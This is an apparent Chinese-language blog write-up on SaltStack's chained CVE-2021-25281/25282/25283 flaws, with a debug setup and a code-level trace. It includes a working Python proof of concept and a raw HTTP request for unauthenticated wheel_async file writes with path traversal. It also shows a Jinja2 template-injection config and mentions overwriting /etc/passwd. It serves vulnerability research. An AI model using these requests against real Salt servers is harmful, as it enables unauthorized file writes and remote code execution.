2月26号,那是一个风和日丽的夜晚,我看着电脑,电脑看着我。群里的大佬突然就甩了一个saltstack 未授权任意文件写入的poc,告诉我后面还有个RCE。我看着大佬,大佬看着我,我看了看自己日渐下降的技术,狠狠心跟了一波这个漏洞。
背景
SaltStack管理工具允许管理员对多个操作系统创建一个一致的管理系统,包括VMware vSphere环境。SaltStack事件驱动的自动化软件帮助IT组织大规模管理和保护云基础设施,同时自动化高效编排企业DevOps工作流。
2月26号,SaltStack发布高危漏洞通告。漏洞通过CVE-2021-25281 未授权访问和CVE-2021-25282 任意文件写入,最后配合CVE-2021-25283 模板注入完成了未授权RCE的组合洞。
Debug环境配置
去github挑一个漏洞范围内的版本下载下来,我下载的版本为salt-3002.1,环境为了方便调试选择Ubuntu
解压完进入scripts目录,里面是salt的启动脚本
sudo cp -r * /usr/local/bin/
pip创建链接用的egg,方便一会直接debug
pip3 install -e .
创建/etc/salt/目录,写入如下配置文件,为了方便偷懒调试,将disable_ssl设置为true,省去生成ssl证书的环节
/etc/salt/master.d/netapi.conf
rest_cherrypy:
port: 8000
disable_ssl: True
external_auth:
pam:
saltdev:
- .*
- '@wheel' # to allow access to all wheel modules
- '@runner' # to allow access to all runner modules
- '@jobs' # to allow access to the jobs runner and/or wheel module
/etc/salt/master.d/autoaccept.conf
auto_accept: True
启动测试一下
sudo salt-master
sudo salt-api -l all #打印所有信息
用vscode打开salt项目,创建lanuch.json文件
{
// Use IntelliSense to learn about possible attributes.
// Hover to view descriptions of existing attributes.
// For more information, visit: https://go.microsoft.com/fwlink/?linkid=830387
"version": "0.2.0",
"configurations": [
{
"name": "FA1C0N",
"type": "python",
"request": "launch",
"program": "/usr/local/bin/salt-api",
"console": "integratedTerminal",
"args": [
"-l","all"
],
"sudo": true,
}
]
}
debug的时候先开个终端启动salt-master,再用vscode debug salt-api
wheel_async未授权访问(CVE-2021-25281)& wheel/pillar_roots.py文件任意写漏洞 (CVE-2021-25282 )
直接访问salt-api的端口可以看到所有能调用的函数
按照云鼎实验室大佬1mperio的分析文章,salt-api在2020年的CVE-2020-25592就是因为ssh模块的授权问题导致了后续的RCE。虽然不是同一个时间,但是同一个地点,今天给大家接着表演一个未授权。不过这次出问题的是同胞兄弟wheel_async模块。
能不能任意调用,用公开的验证程序测一下就知道了
import requests
url = "http://127.0.0.1:8000/run"
json_data = [{
"client": "wheel_async",
"fun": "pillar_roots.write",
"data": "FA1C0N is here",
"path": "../../../../../tmp/FA1C0N",
"username": "password",
"password": "username",
"eauth": "pam"
}]
r = requests.post(url, json=json_data, verify=False,proxies=proxies)
print(r.text)
运行poc,首先断在salt/salt/netapi/init.py:NetapiClient.run()
函数,可以看到run函数是通过getattr的方式动态调用传入的wheel_async函数,并将args和kwargs作为参数传入
进入wheel_async函数,继续
进入cmd_async函数,此时fun参数就是我们想要触发写入文件的函数,继续
第541行的代码就是我们准备要跳转的地方,self._proc_function函数接下来会调用salt/salt/client/mixins.py:SyncClientMixin.low(),并通过该函数使用args参数和kwargs参数动态调用wheel包中的方法。
在salt/wheel/pillar_roots.py的write函数下断点,中途不存在什么过滤,完美到达写入位置。(注意由于salt是用的异步+管道的方式,因此能不能断到完全随缘是时候看看自己是不是有欧洲血统了)
sdb rest插件模板注入(CVE-2021-25283)
配置文件这里被卡了好久,晚上睡觉的时候漏洞之神给我托梦这个配置文件的位置 指qq找大佬求助,终于让我给整明白了,不就master.d目录吗
sdb模块有许多后端,其中一个是rest(salt/sdb/rest.py),rest模块用来从远端的http服务器获取请求,而且支持模版渲染,且默认使用Jinja2引擎。
根据1mperio大佬的分析,配置文件实从url获取请求,而且还将url放到JINJA2中渲染,那么我们构造一个访问本地的http://127.0.0.1:8001/{% for i in range(10) %}{{ i }}{% endfor %}
作为payload试试
有样学样,创建test.conf,
q: sdb://poc/testKey?a=1
poc:
driver: rest
testKey:
url: 'http://127.0.0.1:8001/{% for i in range(10) %}{{ i }}{% endfor %}'
那么问题来了,怎么触发呢,按照1mperio大佬的说法是要从下面一堆里面找一个调用了master_config的函数
config.apply
config.update_config
config.values
error.error
file_roots.find
file_roots.list_env
file_roots.list_roots
file_roots.read
file_roots.write
key.accept
key.accept_dict
key.delete
key.delete_dict
key.finger
key.finger_master
key.gen
key.gen_accept
key.gen_keys
key.gen_signature
key.get_key
key.print
key.list
key.list_all
key.master_key_str
key.name_match
key.reject
key.reject_dict
minions.connected
pillar_roots.find
pillar_roots.list_env
pillar_roots.list_roots
pillar_roots.read
pillar_roots.write
调用master_config的函数太多了,这么多要怎么找呢,这里就要感谢pycharm万能ctrl+alt+H快捷键 qq抱大佬大腿才是最优解。
先盲选第一个salt/wheel/config.py的config.apply
,参数为key和value
根据之前pillar_roots.write
的调用方式,我们直接修改之前的包为如下
POST /run HTTP/1.1
Host: 127.0.0.1:8000
User-Agent: python-requests/2.22.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 177
Content-Type: application/json
[{"client": "wheel_async", "fun": "config.apply", "key": "FA1C0N is here", "value": "../../../../../tmp/FA1C0N", "username": "password", "password": "username", "eauth": "pam"}]
发送,get it!Debug看看到底中间发生了什么
由于config.apply的调用跟pillar_roots.write一样都是通过wheel_async调用,断不断到完全随缘,因此我们这里用一个取巧的方法间接debug康康。
加载配置文件时,读取到sdb://my-rest-api/keys后,会找到配置文件1中的keys内容,将url作为Jinja2模板编译,使用?user=myuser作为变量渲染url,即会从 https://api.github.com/users/myuser/keys 中拉取数据。
根据1mperio大佬的文章的分析,那么我们启动salt-api的时候程序一定会自动加载一次master_config函数,try it !
在salt/config/init.py的master_config函数的apply_sdb位置下断点,重启salt-api,断到,get it! 假装此时我们是发送了config.apply
才断到了master_config函数,opts里的值就是我们用上面的未授权写入的配置文件,跟进apply_sdb函数
apply_sdb函数会遍历我们传入的opts参数找出其中开头为”sdb://“的字符串,并传入sdb_get方法
sdb_get函数会将我们传入的sdb://poc/testKey?a=1
字符串拆解,然后找到配置文件中的poc配置项,然后读取driver字段的值,赋值给fun变量,最后将a=1的值赋给query参数。
sdb函数主要是将参数赋值了LazyLoader,LazyLoader是为了加载salt.sdb包下面的function变量对应的方法,最终跳转的就是salt/sdb/rest.py的get函数
get函数调用了query函数,跟进去看看
query函数是将testKey?a=1
解析后传入compile_template,断点位置的compile_template函数传入的input_data就是我们配置文件中写入的url值
继续跟进compile_template函数调用的render方法
render函数将传入的参数放入JINJA2中渲染,跟进JINJA函数
JINJA是将render_jinja_tmpl函数传入了wrap_tmpl_func方法
跟进wrap_tmpl_func,这里其实就是将tmplstr, context, tmplpath作为参数传入render_jinja_tmpl参数
跟进render_jinja_tmpl,成功抵达template.render函数,jinja2模板渲染!梦开始的地方!
验证漏洞
梳理一下流程,首先将文件写入的位置改为/etc/salt/master.d/test.conf,然后调用盲猜的config.apply函数感谢大佬直接把触发点放到第一个位置,触发SSTI漏洞,最终执行RCE。
salt的conf文件用的是yaml格式,因此需要注意一下转义的问题,如果不知道怎么转义才是正确的,直接用下面的脚本
import yaml
yamlFile = 'conf.yml'
complex_string = '''祖传SSTI payload'''
data = {
'complex_str': complex_string
}
f = open(yamlFile, 'w', encoding='utf-8')
yaml.dump(data, f, allow_unicode=True)
祭出祖传的JINJA2 payload,生成test.conf,完美
发送上面我们写好的config.apply,RCE,yes!
总结
这个RCE顺下来是真的舒服,非常强大的组合洞,果然组合洞才是yyds。从一堆茫茫多的函数里找到未授权,再到写文件,最后一波配置文件完成SSTI,绝杀。甚至说如果salt使用root权限运行,我们可以通过文件覆盖覆盖/etc/passwd,直接打穿。你以为函数多就不能RCE了吗(战术后仰)
新人第一次写文章,写的不是很好,求师傅们轻喷ヽ(*。>Д<)o゜。
Refer
https://mp.weixin.qq.com/s/QvQoTuQJVthxS07pbLWJmg
https://mp.weixin.qq.com/s/iu4cS_DZTs0sVVg92RBe4Q
https://twitter.com/KevTheHermit/status/1365130814430846979
https://github.com/saltstack/salt/commit/3fbf9a35bc4f7a43f628631f89ebb31f907859e3